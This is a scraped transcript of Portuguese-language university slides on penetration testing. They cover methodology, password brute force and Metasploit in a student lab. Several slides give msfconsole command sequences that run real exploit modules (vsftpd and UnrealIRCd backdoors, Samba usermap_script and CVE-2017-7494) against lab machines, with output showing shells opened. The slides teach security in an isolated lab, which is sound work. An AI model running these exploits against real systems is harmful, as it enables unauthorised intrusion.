pen test - ifrndiatinf.ifrn.edu.br/prof/lib/exe/...redes:06-invasa_o-pentest-real.pdf · segurança...

28
Segurança de Redes [email protected] Pen Test Carlos Gustavo A. da Rocha

Upload: others

Post on 07-Nov-2020

3 views

Category:

Documents


0 download

TRANSCRIPT

Page 1: Pen Test - IFRNdiatinf.ifrn.edu.br/prof/lib/exe/...redes:06-invasa_o-pentest-real.pdf · Segurança de Redes carlos.rocha@ifrn.edu.br Pen Test Técnicas de invasão/pen test real

Segurança de [email protected]

Pen Test

Carlos Gustavo A. da Rocha

Page 2: Pen Test - IFRNdiatinf.ifrn.edu.br/prof/lib/exe/...redes:06-invasa_o-pentest-real.pdf · Segurança de Redes carlos.rocha@ifrn.edu.br Pen Test Técnicas de invasão/pen test real

Segurança de [email protected]

Pen Test

● Técnicas de invasão/pen test real● Vamos utilizar ferramentas, procedimentos reais● Vamos explorar vulnerabilidades reais, em

máquinas com conf igurações comumente encontradas

● Então tenhamos muita ética !!!

Page 3: Pen Test - IFRNdiatinf.ifrn.edu.br/prof/lib/exe/...redes:06-invasa_o-pentest-real.pdf · Segurança de Redes carlos.rocha@ifrn.edu.br Pen Test Técnicas de invasão/pen test real

Segurança de [email protected]

Pen Test

● Técnicas de invasão/pen test real● Podemos e devemos utilizar técnicas de invasão /

pen test qual o grau de vulnerabilidade de minhainfra de TIC

● Mesmo assim, é bom lembrar que essasferramentas podem degradar performance,interromper serviços etc

● Então tenhamos muita ética !!!

Page 4: Pen Test - IFRNdiatinf.ifrn.edu.br/prof/lib/exe/...redes:06-invasa_o-pentest-real.pdf · Segurança de Redes carlos.rocha@ifrn.edu.br Pen Test Técnicas de invasão/pen test real

Segurança de [email protected]

Pen Test

● Técnicas de invasão/pen test real

● Para começar que tal um “capture the f lag”: Utilize todas as técnicas / ferramentas que você conheceu na disciplina para invadir a máquina “ubuntu server”– Você saberá apenas o seu IP, e o login de um

usuário existente– Conseguir acesso de usuário normal;– E então de administrador.

Page 5: Pen Test - IFRNdiatinf.ifrn.edu.br/prof/lib/exe/...redes:06-invasa_o-pentest-real.pdf · Segurança de Redes carlos.rocha@ifrn.edu.br Pen Test Técnicas de invasão/pen test real

Segurança de [email protected]

Pen Test

● Em tempo: brute force de senhas● Pode ser o passo seguinte a listagem de portas abertas● Pode ser realizado remotamente ou localmente

(normalmente, propósito administrativo)● Pode ser direcionado a uma série de serviços● Normalmente utiliza um “dicionário”

Page 6: Pen Test - IFRNdiatinf.ifrn.edu.br/prof/lib/exe/...redes:06-invasa_o-pentest-real.pdf · Segurança de Redes carlos.rocha@ifrn.edu.br Pen Test Técnicas de invasão/pen test real

Segurança de [email protected]

Pen Test

● Em tempo: brute force de senhas● Análise também pode ser realizada diretamente

sobre os arquivos que contém senhas– Linux: passwd/shadow (hoje incomum para sistemas

grandes)– Windows: SAM

Page 7: Pen Test - IFRNdiatinf.ifrn.edu.br/prof/lib/exe/...redes:06-invasa_o-pentest-real.pdf · Segurança de Redes carlos.rocha@ifrn.edu.br Pen Test Técnicas de invasão/pen test real

Segurança de [email protected]

Pen Test

● Técnicas de invasão/pen test real

● Relembrando: Análise de vulnerabilidades difere de pen test por não explorar as possíveis falhas

● Falhas possíveis difere de falha explorável● A simples análise (com o OpenVas por exemplo)

não mensura os riscos reais.

Page 8: Pen Test - IFRNdiatinf.ifrn.edu.br/prof/lib/exe/...redes:06-invasa_o-pentest-real.pdf · Segurança de Redes carlos.rocha@ifrn.edu.br Pen Test Técnicas de invasão/pen test real

Segurança de [email protected]

Pen Test

● Pen test: metodologia● Existem metodologias formais, de instituições

reconhecidas a nível mundial– O que testar? O que fazer antes, durante e depois etc

● Mas fogem ao tempo/limite de nosso curso● Exemplo: http://www.isecom.org/research/

Page 9: Pen Test - IFRNdiatinf.ifrn.edu.br/prof/lib/exe/...redes:06-invasa_o-pentest-real.pdf · Segurança de Redes carlos.rocha@ifrn.edu.br Pen Test Técnicas de invasão/pen test real

Segurança de [email protected]

Pen Test

● Pen test: classificação● Grey Box

– Atacante NAO conhece o ambiente– Vítima sabe que vai ser sondada/atacada

● Black Box– Atacante NAO conhece o ambiente– Vítima NAO sabe que vai ser sondada/atacada

● White Box– Atacante conhece o ambiente

Page 10: Pen Test - IFRNdiatinf.ifrn.edu.br/prof/lib/exe/...redes:06-invasa_o-pentest-real.pdf · Segurança de Redes carlos.rocha@ifrn.edu.br Pen Test Técnicas de invasão/pen test real

Segurança de [email protected]

Pen Test

● Pen test: Etapas● Footprinting

– Nomes das máquinas, endereços IP, nomes de usuáriosetc

● Scanning– Nmap, openvas etc

● Ataque– Metasploit

Page 11: Pen Test - IFRNdiatinf.ifrn.edu.br/prof/lib/exe/...redes:06-invasa_o-pentest-real.pdf · Segurança de Redes carlos.rocha@ifrn.edu.br Pen Test Técnicas de invasão/pen test real

Segurança de [email protected]

Pen Test

● Pen test: Cenário utilizado nesta disciplina● Cada aluno possui três máquinas virtuais

– Um kali Linux (atacante)– Um Ubuntu server 16.04 LTS, com instalação padrão– Uma máquina metasploitable

● https://information.rapid7.com/metasploitable-download.html

Page 12: Pen Test - IFRNdiatinf.ifrn.edu.br/prof/lib/exe/...redes:06-invasa_o-pentest-real.pdf · Segurança de Redes carlos.rocha@ifrn.edu.br Pen Test Técnicas de invasão/pen test real

Segurança de [email protected]

Pen Test

● Pen test: Ubuntu server● Já realizamos uma invasão sem seguir uma

metodologia de pen test● Já realizamos footprint e scanning● Agora é a vez do Metasploit

Page 13: Pen Test - IFRNdiatinf.ifrn.edu.br/prof/lib/exe/...redes:06-invasa_o-pentest-real.pdf · Segurança de Redes carlos.rocha@ifrn.edu.br Pen Test Técnicas de invasão/pen test real

Segurança de [email protected]

Pen Test

● Metasploit● Criado em 2003 (HD Moore)● Modular, recebe atualizações● Compatível com Windows, Linux, BSD, Mac OSX etc ● Plataforma atualmente mais conhecida para

desenvolvimento de exploits

Page 14: Pen Test - IFRNdiatinf.ifrn.edu.br/prof/lib/exe/...redes:06-invasa_o-pentest-real.pdf · Segurança de Redes carlos.rocha@ifrn.edu.br Pen Test Técnicas de invasão/pen test real

Segurança de [email protected]

Pen Test

● Metasploit: definições● Exploits

– Programas preparados especifcamente para explorarvulnerabilidades encontradas no sistema- alvo.

● Payload

– Código Malicioso transportado pelos Exploit – Exploits atacam falhas nos softwares e executam o

payload● ShellCode

– Instruções que compõem o Payload (geralmentedesenvolvidas em linguagem Assembly)

Page 15: Pen Test - IFRNdiatinf.ifrn.edu.br/prof/lib/exe/...redes:06-invasa_o-pentest-real.pdf · Segurança de Redes carlos.rocha@ifrn.edu.br Pen Test Técnicas de invasão/pen test real

Segurança de [email protected]

Pen Test

● Metasploit: definições● Modules

– Complementos do Metasploit (Exploit Modules / AuxiliaryModules)

● Listener

– Componente do Metasploit utilizado na manutenção daconexão (permite a conexão a máquinaalvo após osucesso do Exploit)

Page 16: Pen Test - IFRNdiatinf.ifrn.edu.br/prof/lib/exe/...redes:06-invasa_o-pentest-real.pdf · Segurança de Redes carlos.rocha@ifrn.edu.br Pen Test Técnicas de invasão/pen test real

Segurança de [email protected]

Pen Test

● Metasploit: MSFconsole (máquina kali)

# msfconsole

=[ metasploit v4.14.28-dev ]

+ -- --=[ 1662 exploits - 951 auxiliary - 293 post ]

+ -- --=[ 486 payloads - 40 encoders - 9 nops ]

+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

msf >

msf >

msf > help

Page 17: Pen Test - IFRNdiatinf.ifrn.edu.br/prof/lib/exe/...redes:06-invasa_o-pentest-real.pdf · Segurança de Redes carlos.rocha@ifrn.edu.br Pen Test Técnicas de invasão/pen test real

Segurança de [email protected]

Pen Test

● Metasploit: MSFconsole (máquina kali)● Exemplos Simples: portscan

msf > use auxiliary/scanner/portscan/synmsf auxiliary(syn) > set RHOSTS 10.26.3.27RHOSTS => 10.26.3.27msf auxiliary(syn) > set THREADS 50THREADS => 50msf auxiliary(syn) > run

[*] TCP OPEN 10.26.3.27:22[*] TCP OPEN 10.26.3.27:80...

Page 18: Pen Test - IFRNdiatinf.ifrn.edu.br/prof/lib/exe/...redes:06-invasa_o-pentest-real.pdf · Segurança de Redes carlos.rocha@ifrn.edu.br Pen Test Técnicas de invasão/pen test real

Segurança de [email protected]

Pen Test

● Metasploit: MSFconsole (máquina kali)● Exemplos Simples: Versão de SSH

msf > use scanner/ssh/ssh_versionmsf auxiliary(ssh_version) > msf auxiliary(ssh_version) > set RHOSTS 10.26.3.27RHOSTS => 10.26.3.27msf auxiliary(ssh_version) > set THREADS 50THREADS => 50msf auxiliary(ssh_version) > run

[*] 10.26.3.27:22 - SSH server version: SSH-2.0-OpenSSH_7.2p2 Ubuntu-4[*] Scanned 1 of 1 hosts (100% complete)[*] Auxiliary module execution completed

Page 19: Pen Test - IFRNdiatinf.ifrn.edu.br/prof/lib/exe/...redes:06-invasa_o-pentest-real.pdf · Segurança de Redes carlos.rocha@ifrn.edu.br Pen Test Técnicas de invasão/pen test real

Segurança de [email protected]

Pen Test

● Metasploit: MSFconsole (máquina kali)● Exemplos Simples: Versão de SSH (outras opções)

msf auxiliary(ssh_version) > use scanner/ssh/ssh_versionmsf auxiliary(ssh_version) > show options

Module options (auxiliary/scanner/ssh/ssh_version):

Name Current Setting Required Description ---- --------------- -------- ----------- RHOSTS 10.26.3.27 yes The target address range orCIDR identifier RPORT 22 yes The target port (TCP) THREADS 50 yes The number of concurrentthreads TIMEOUT 30 yes Timeout for the SSH probe

Page 20: Pen Test - IFRNdiatinf.ifrn.edu.br/prof/lib/exe/...redes:06-invasa_o-pentest-real.pdf · Segurança de Redes carlos.rocha@ifrn.edu.br Pen Test Técnicas de invasão/pen test real

Segurança de [email protected]

Pen Test

● Metasploit: MSFconsole (máquina kali)● Funções mais utilizadas

msf> search [parametro] ← busca por parametro nos modulos

msf> use [modulo] ← usa/ativa o modo de exploracao

msf> show options ← exibe opcoes/parametros

msf> set [parametro] [valor] ← atribui valor a parametro

msf> set PAYLOAD [valor] ← seleciona payload

msf> exploit ← executa exploit

msf> run ← executa outros modulos

Page 21: Pen Test - IFRNdiatinf.ifrn.edu.br/prof/lib/exe/...redes:06-invasa_o-pentest-real.pdf · Segurança de Redes carlos.rocha@ifrn.edu.br Pen Test Técnicas de invasão/pen test real

Segurança de [email protected]

Pen Test

● Metasploit: MSFconsole (máquina kali)● Explorando vulnerabilidades na máquina

metasploitable: Footprint, scanning (nmap)● Verificando no Metasploit

msf > search vsftpd

Matching Modules

================

Name Disclosure Date Rank Description

exploit/unix/ftp/vsftpd_234_backdoor 2011-07-03excellent VSFTPD v2.3.4 Backdoor Command Execution

Page 22: Pen Test - IFRNdiatinf.ifrn.edu.br/prof/lib/exe/...redes:06-invasa_o-pentest-real.pdf · Segurança de Redes carlos.rocha@ifrn.edu.br Pen Test Técnicas de invasão/pen test real

Segurança de [email protected]

Pen Test

● Metasploit: MSFconsole (máquina kali)● Máquina metasploitable: explorando vsftpd

msf > use exploit/unix/ftp/vsftpd_234_backdoormsf exploit(vsftpd_234_backdoor) > set PAYLOADcmd/unix/interactPAYLOAD => cmd/unix/interactmsf exploit(vsftpd_234_backdoor) > set RHOST 10.26.3.30RHOST => 10.26.3.30msf exploit(vsftpd_234_backdoor) > exploit

FUNCIONOU !!!

Aproveite para coletar as informações que desejar.

Page 23: Pen Test - IFRNdiatinf.ifrn.edu.br/prof/lib/exe/...redes:06-invasa_o-pentest-real.pdf · Segurança de Redes carlos.rocha@ifrn.edu.br Pen Test Técnicas de invasão/pen test real

Segurança de [email protected]

Pen Test

● Metasploit: MSFconsole (máquina kali)● Máquina metasploitable: explorando IRCd

msf > search ircd......msf > use exploit/unix/irc/unreal_ircd_3281_backdoormsf exploit(unreal_ircd_3281_backdoor) > set RHOST 10.26.3.30RHOST => 10.26.3.30msf exploit(unreal_ircd_3281_backdoor) > exploit

Page 24: Pen Test - IFRNdiatinf.ifrn.edu.br/prof/lib/exe/...redes:06-invasa_o-pentest-real.pdf · Segurança de Redes carlos.rocha@ifrn.edu.br Pen Test Técnicas de invasão/pen test real

Segurança de [email protected]

Pen Test

● Metasploit: MSFconsole (máquina kali)● Máquina metasploitable: explorando SAMBA

msf > search samba. . .msf > use auxiliary/admin/smb/samba_symlink_traversalmsf auxiliary(samba_symlink_traversal) > set RHOST 10.26.3.30RHOST => 10.26.3.30msf auxiliary(samba_symlink_traversal) > set SMBSHARE tmpSMBSHARE => tmpmsf auxiliary(samba_symlink_traversal) > exploit

. . .root@kali-uninorte:~# smbclient \\10.26.3.30\tmp\rootfs\>

Page 25: Pen Test - IFRNdiatinf.ifrn.edu.br/prof/lib/exe/...redes:06-invasa_o-pentest-real.pdf · Segurança de Redes carlos.rocha@ifrn.edu.br Pen Test Técnicas de invasão/pen test real

Segurança de [email protected]

Pen Test

● Metasploit: MSFconsole (máquina kali)● Máquina metasploitable: explorando SAMBA (2)

msf > search samba. . .msf > use exploit/multi/samba/usermap_scriptmsf exploit(usermap_script) > msf exploit(usermap_script) > set RHOST 10.26.3.30RHOST => 10.26.3.30msf exploit(usermap_script) > exploit

Page 26: Pen Test - IFRNdiatinf.ifrn.edu.br/prof/lib/exe/...redes:06-invasa_o-pentest-real.pdf · Segurança de Redes carlos.rocha@ifrn.edu.br Pen Test Técnicas de invasão/pen test real

Segurança de [email protected]

Pen Test

Conseguimos acesso de administrador por diversasvias, na máquina metasploitable. Mas ….

E máquina ubuntu-server?

● Última versão LTS do Ubuntu● Configurações usuais de ambiente de produção● Nenhum “ajuste” em serviços para torna-la

propositalmente vulnerável!!!

Será que é mais difícil? Ou impossível?

Page 27: Pen Test - IFRNdiatinf.ifrn.edu.br/prof/lib/exe/...redes:06-invasa_o-pentest-real.pdf · Segurança de Redes carlos.rocha@ifrn.edu.br Pen Test Técnicas de invasão/pen test real

Segurança de [email protected]

Pen Test

● Metasploit: MSFconsole (máquina kali)● Máquina Ubuntu Server: relatório do OpenVas

msf > search cve:2017-7494

Matching Modules================

Name Disclosure Date Rank ---- --------------- ---- exploit/linux/samba/is_known_pipename 2017-03-24 excellent

Page 28: Pen Test - IFRNdiatinf.ifrn.edu.br/prof/lib/exe/...redes:06-invasa_o-pentest-real.pdf · Segurança de Redes carlos.rocha@ifrn.edu.br Pen Test Técnicas de invasão/pen test real

Segurança de [email protected]

Pen Test

● Metasploit: MSFconsole (máquina kali)● Máquina Ubuntu Server: explorando SAMBA

msf > use exploit/linux/samba/is_known_pipenamemsf exploit(is_known_pipename) > set RHOST 192.168.0.22RHOST => 192.168.0.22msf exploit(is_known_pipename) > exploit

. . .[*] 192.168.0.22:445 - Uploaded payloadto \\192.168.0.22\compart\zqLEibtL.so. . .[*] Found shell.[*] Command shell session 1 opened (192.168.0.24:34635 ->192.168.0.22:445) at 2017-07-25 18:48:23 -0300